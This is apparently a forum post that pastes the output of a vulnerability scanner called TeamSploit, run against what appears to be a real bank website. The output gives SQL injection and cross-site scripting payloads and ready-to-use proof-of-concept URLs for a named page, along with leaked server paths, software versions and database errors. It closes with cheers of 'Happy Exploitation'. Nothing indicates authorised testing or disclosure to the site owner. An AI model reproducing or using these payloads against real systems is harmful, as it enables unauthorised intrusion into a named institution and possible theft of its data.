Keine Antworten in diesem Thema

[TeamSploit]

[!] Scan URL or List of URLs? [1/2]: 1
 [!] Enter the URL: http://www.cgbank.in/innerpage.php?pageID=3

 [!] Fingerprinting the backend Technologies.
 [!] Status code: 200 OK
 [!] Host: www.cgbank.in
 [!] WebServer: Microsoft-IIS/8.5
 [!] x-powered-by
 [!] PHP/5.2.17, ASP.NET
 [!] Now Scanning for Remote Code/Command Execution
 [!] Covering Linux & Windows Operating Systems
 [!] Please wait ....
 [!] Target is not vulnerable!

 [!] Now Scanning for XSS
 [!] Please wait ....
 [*] Payload Found . . .
 [*] Payload:  %78%22%78%3e%78
 [!] Code Snippet: <b>Fatal error</b>:  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"x>x' at line 1<br><br><b>Query:</b><br>select * from mainpages where id=3x\"x>x in <b>D:\INETPUB\VHOSTS\cgbank.in\httpdocs\ContentManagementSystem\library\class_mysql.php</b> on line <b>131</b><br />
 [*] POC: http://www.cgbank.in/innerpage.php?pageID=3%78%22%78%3e%78
 [*] Happy Exploitation :D
 [!] Congratulations you've found 1 bugs :-)

 [!] Now Scanning for Error Based SQL Injection
 [!] Covering MySQL, Oracle, MSSQL, MSACCESS & PostGreSQL Databases
 [!] Please wait ....
 [*] Payload Found . . .
 [*] Payload:  3'
 [!] Code Snippet: <b>Fatal error</b>:  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br><br><b>Query:</b><br>select * from mainpages where id=33\' in <b>D:\INETPUB\VHOSTS\cgbank.in\httpdocs\ContentManagementSystem\library\class_mysql.php</b> on line <b>131</b><br />
 [*] POC: http://www.cgbank.in/innerpage.php?pageID=33'
 [*] Happy Exploitation :D
 [*] Payload Found . . .
 [*] Payload:  3%5c
 [!] Code Snippet: <b>Fatal error</b>:  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\' at line 1<br><br><b>Query:</b><br>select * from mainpages where id=33\\ in <b>D:\INETPUB\VHOSTS\cgbank.in\httpdocs\ContentManagementSystem\library\class_mysql.php</b> on line <b>131</b><br />
 [*] POC: http://www.cgbank.in/innerpage.php?pageID=33%5c
 [*] Happy Exploitation :D
 [*] Payload Found . . .
 [*] Payload:  3%27%22%28%29
 [!] Code Snippet: <b>Fatal error</b>:  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'\"()' at line 1<br><br><b>Query:</b><br>select * from mainpages where id=33\'\"() in <b>D:\INETPUB\VHOSTS\cgbank.in\httpdocs\ContentManagementSystem\library\class_mysql.php</b> on line <b>131</b><br />
 [*] POC: http://www.cgbank.in/innerpage.php?pageID=33%27%22%28%29
 [*] Happy Exploitation :D
 [*] Payload Found . . .
 [*] Payload:  3'><
 [!] Code Snippet: <b>Fatal error</b>:  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'><' at line 1<br><br><b>Query:</b><br>select * from mainpages where id=33\'>< in <b>D:\INETPUB\VHOSTS\cgbank.in\httpdocs\ContentManagementSystem\library\class_mysql.php</b> on line <b>131</b><br />
 [*] POC: http://www.cgbank.in/innerpage.php?pageID=33'><
 [*] Happy Exploitation :D
 [!] Congratulations you've found 4 bugs :-)